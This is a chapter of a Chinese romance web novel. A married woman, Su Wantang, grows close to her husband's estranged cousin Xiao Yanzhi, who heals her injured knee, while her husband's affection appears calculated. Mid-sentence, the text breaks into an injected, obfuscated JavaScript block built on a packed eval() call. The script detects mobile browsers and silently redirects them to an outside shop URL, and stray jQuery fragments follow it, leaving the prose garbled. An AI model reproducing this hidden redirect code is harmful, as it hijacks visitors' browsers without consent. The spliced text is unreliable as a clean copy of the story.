“我问了夫君,他说送来的信没有署名,喜樱说她见过你,我便以为是你。”
“不是我。”萧砚之的目光移到苏婉棠的膝盖上。那日之后,他就没有见过苏婉棠,也听不到任何消息。西厢房的门开了又关,他也不确定苏婉棠会不会来,但她还是来了。
“更何况,我那样难看的字迹,就算是送了出去,也会被人当作小孩子的玩闹。”
苏婉棠愣了一下,她想起了上次他送来道歉时那张皱巴巴的纸条,上面的字确实歪歪扭扭,像是刚学写字不久的孩童。
“哦,那我也要感谢你,多谢你那日去看我。”苏婉棠热情地将食盒打开,南瓜粥冒着热气,旁边还放着一碟桂花糕。
苏婉棠抓住眼前人的衣角,拉着萧砚之坐了下来。坐下时,膝盖传来隐隐的刺痛,她皱了皱眉,抬头却发现萧砚之在盯着自己。
“怎么了?”
“没。”萧砚之喉结滚了滚,眼睛从苏婉棠身上移开。
他随着她坐下,目光却一直落在苏婉棠的手上。
苏婉棠这才松开他的衣角:“你……”
她隔着桌子看他:“所以你真的是萧砚之——我夫君的表弟?”
“他不是我哥。”他抬眼,那双漆黑的眸子没什么温度。
“我……只是想知道当年到底发生了什么。”苏婉棠的声音轻下来,“族谱上为何抹去了你的名字,这一切是不是有什么误会?”
“误会?”萧砚之笑了一声,很短,没什么笑意。
“没有任何误会。”
“如他们所说,我就是个彻头彻尾的怪物。”萧砚之脸上没什么情绪,你不知道他说的是事实还是谎话,因为他完全不像在说自己。
苏婉棠不知道一个人的眼中为何可以那样死气沉沉,没有半点光芒。腐败的花落入泥土,尚能化作养分,开启下一轮鲜活,获得重生的机会。
可若是腐败的不是花朵,而是人呢?难道就该永远被钉在耻辱柱上,永世背负罪孽而活吗?
“日后别再来了。”苏婉棠听到萧砚之说。
“你知道其他人怎么说我的吧,我杀起人来,不会眨眼。”他喉结滚了一下。
苏婉棠的目光与他相撞。他的眼神空洞,苏婉棠想了想,同他相见以来,似乎没在这双眼中看到过什么神情。
萧砚之本以为眼前的人会害怕,却不料她只是淡淡地盯着他笑。
“杀起人来不会眨眼。”苏婉棠点点头,随后认真地在思考。
她指了指萧砚之微微颤动的眼皮,轻轻笑了一下:“你现在好像就在眨眼。”
萧砚之一愣,随即脸色铁青,那双空洞的眸子中终于带了一丝情绪,看起来有些恼怒。
他拉开门,脸色沉沉:“天色不早了,请回吧。”
苏婉棠起身:“萧砚之,我明日还会再来的。你不会写字的话,我明日来教你。”
“不用。”萧砚之向前一步叫住她,“你……为何要这样做?”
“什么?”苏婉棠转身,鼻尖差点撞上萧砚之的胸膛。她膝盖一痛,皱起眉,弯下腰扶住膝盖。
萧砚之盯着她的膝盖:“坐下。”
还没等苏婉棠反应过来,凳子便被塞到了她身下:“哦。”
男人单膝跪在地上,苏婉棠赶紧作势要扶他起来:“你要做什么?快起来!”
“别动。”萧砚之捏住苏婉棠的脚腕。苏婉棠这才发现,男人看着瘦弱,手上的力道却是不小。
苏婉棠只觉得一双手覆在自己的膝盖上,继而一股暖流涌过,冲淡了膝盖处的丝丝痛意。
她的脸上不免染上红霞。孤男寡女共处一室,尤其膝盖还被男人握着——他的力道不大,却泛起层层叠叠的酥麻感。她整个人像是被泡在温水里,全身都舒展开来。
但眼前人毕竟是自己夫君的表弟,年纪这样小,她本不该有这样的想法,她轻轻摇摇头,将自己脑海中多余的想法赶走。
男人的手很大,一只手就能圈住她的膝盖,他掀开了苏婉棠的裙摆,二人肌肤之间只隔着一层亵裤。
苏婉棠抬起头,想尽力忽视男人手心传来的炽热体温,可最后,她的双颊红的就像被煮熟了一半。
“好了。”他站起身,看向苏婉棠。
苏婉棠看着他不动声色地神情,羞愧地想自己怎么能这样,他年纪还这样小,这样单纯。
“多谢。”男人放开手后,苏婉棠的腿缩了回去。她活动了一下膝盖,发觉确实比来时好了不少。
萧砚之的耳根子整个都被染红了,他的手掌上好像还残存着剩余的温度。
他“嗯”了一声,虚握了一下手心,嘴角不易察觉地扬了一下,没有多余的反应,但苏婉棠莫名觉得,他在渴望夸奖。
她不知萧砚之用了什么法子,忽然想起大夫说过的话——她的膝盖需要长时间静养,日后不能再受凉,极易落下病根,但若是有内力深厚的人每日为其输送内力,或许能完全好转。
难道这就是大夫所说的内力?萧砚之习过武吗?苏婉棠想到他身上的怪病,莫不是与此有关?
膝盖上仿佛还残留着温热的触感。苏婉棠用手背碰了碰自己的脸颊,大概是手被冻得冰凉,她只觉得脸烫得厉害。
“那我先走了,今日……多谢你。”
苏婉棠走得很快,像有什么在身后追赶。可她刚迈出门,又被萧砚之叫住了。
“你知道了我是谁,可我还不知道……你。”
苏婉棠觉得他的问题奇怪,眼中闪过疑惑。明明第一次见面时,她就告诉过他自己的身份了。
“我是萧亦安的新婚妻子啊。论辈分,我还是你的表嫂,我同你讲过了。”
“他不是我哥。我问的是你……是谁。”见苏婉棠还没明白,萧砚之继续道,“你的名字是什么,你还没告诉过我。”
“我的名字?”苏婉棠愣了一下。自入府以来,她就成了萧亦安的夫人苏氏,没有人会刻意唤她的名字。
“苏婉棠。”她清丽的声音回荡在屋檐下。
说完这句话,苏婉棠便离开了。萧砚之望着她的背影,视线停了很久。直到她的身影完全消失在视野中,他才回到屋里。
苏婉棠。
他在心中默念。
苏婉棠回到房中,脸上红晕还未散去。萧亦安不知什么时候已经回来了,他抚摸着她的头发:“娘子怎么笑得这样开心?可是遇见了什么好事?”
“啊?”苏婉棠收起脸上的笑,“夫君回来了,我自然是开心的。”
萧亦安揽过她的腰,苏婉棠下意识地避了一下。
“怎么了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836288|211436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,婉棠?”
萧亦安的笑意不达眼底。苏婉棠顿了一下,又乖乖缩回他怀中,只是腰肢仍然僵着:“外面太冷了,我怕过了寒气给你。”
“还以为是我公务繁忙,没陪娘子用午膳,娘子怨我了。”萧亦安的指尖轻轻滑过苏婉棠的脸颊,替她别好散落的碎发。
“我娘子真好看。”萧亦安的嘴角扬起。但细细看去,他那双眼睛却是不含半分笑意的。若是遮住嘴角,会发现他眼中有什么东西在慢慢发酵,不断膨胀,裹住整个苏婉棠——可在苏婉棠抬眼时,又被那刻意流露的温柔压了下去。
“怎么会怨你。夫君得道高升,是我求之不得的事。我定会打理好后宅,不让夫君分心。”
萧亦安抬起她的腿,苏婉棠不自觉缩了一下。膝盖上仿佛还留着另一个人的温度,她的脸烫得像熟透了一般。萧砚之常年不与人来往,不懂这些规矩——可她已经嫁作人妇,难道她也不懂吗?她竟由着萧砚之……
她当真是昏了头。
“婉棠?”
听到萧亦安的呼唤,苏婉棠不自觉地吓了一跳。
“怎么了婉棠?你今日有些奇怪。”萧亦安捏着她的后颈。
“没事,夫君,我有些累了。”苏婉棠脸上扯出一个笑容,抱住了自己的夫君。
“夫君……我还有一件事想同你讲。”苏婉棠生了一双我见犹怜的眼睛,没人会不动容。
“我想回家看看我娘亲。你知道的,我和娘亲从小在府中如履薄冰,如今我离开后,怕主母刁难她。”苏婉棠的声音越来越小。
萧亦安握住她的手,不断摩挲着:“你家主母性子狠辣,你一个人回去我不放心。等过几日我陪你一同过去,你先不要轻举妄动。”
“好,多谢夫君。”苏婉棠安心地靠在他怀中。
“婉棠,你受苦了。”
话音刚落,苏婉棠鼻头一酸,眼眶红了一圈。这还是她嫁入萧府以来,第一次有人对她说这样的话。
“夫君,前几日祠堂罚跪的事,八成是沈氏做的。她对我一直有敌意,能不能……”
话未说完,萧亦安便捧住了她的脸:“我知道你委屈。可沈氏是二房的人,如今朝中局势复杂,我若为了这事与她计较,老夫人那边反倒会说你不够大度。”
他把苏婉棠往怀里拢了拢,下巴抵在她发顶,声音低下来。
“我何尝不心疼你。只是婉棠,在这府里活着,有时候不是对错的事,是能不能忍的事。你若忍了这一时,日后我寻个由头慢慢替你还回去。你若非要现在争,反倒落人口实。”
“对不起夫君……我下次不会这样了。”苏婉棠垂下头,声音闷闷的。
“你膝盖还没好利索,这几日外面风大,就别乱跑了。有什么事让喜樱去做,你就在屋里等我回来,好吗。”
“好。”苏婉棠乖顺地应下。萧亦安摸了摸她的发髻。
“你放心,等你膝盖好些了,我亲自陪你回苏家看你娘。”
苏婉棠抬头看他,眼睛亮了一下:“真的?”
“我何时骗过你。”他笑了笑,替她把碎发别到耳后。
她重新靠进他怀里,安心地闭上眼睛。
萧亦安低头看着她,脸上带着温柔的笑。只是当苏婉棠低下头时,他眼中的笑意,便不在了。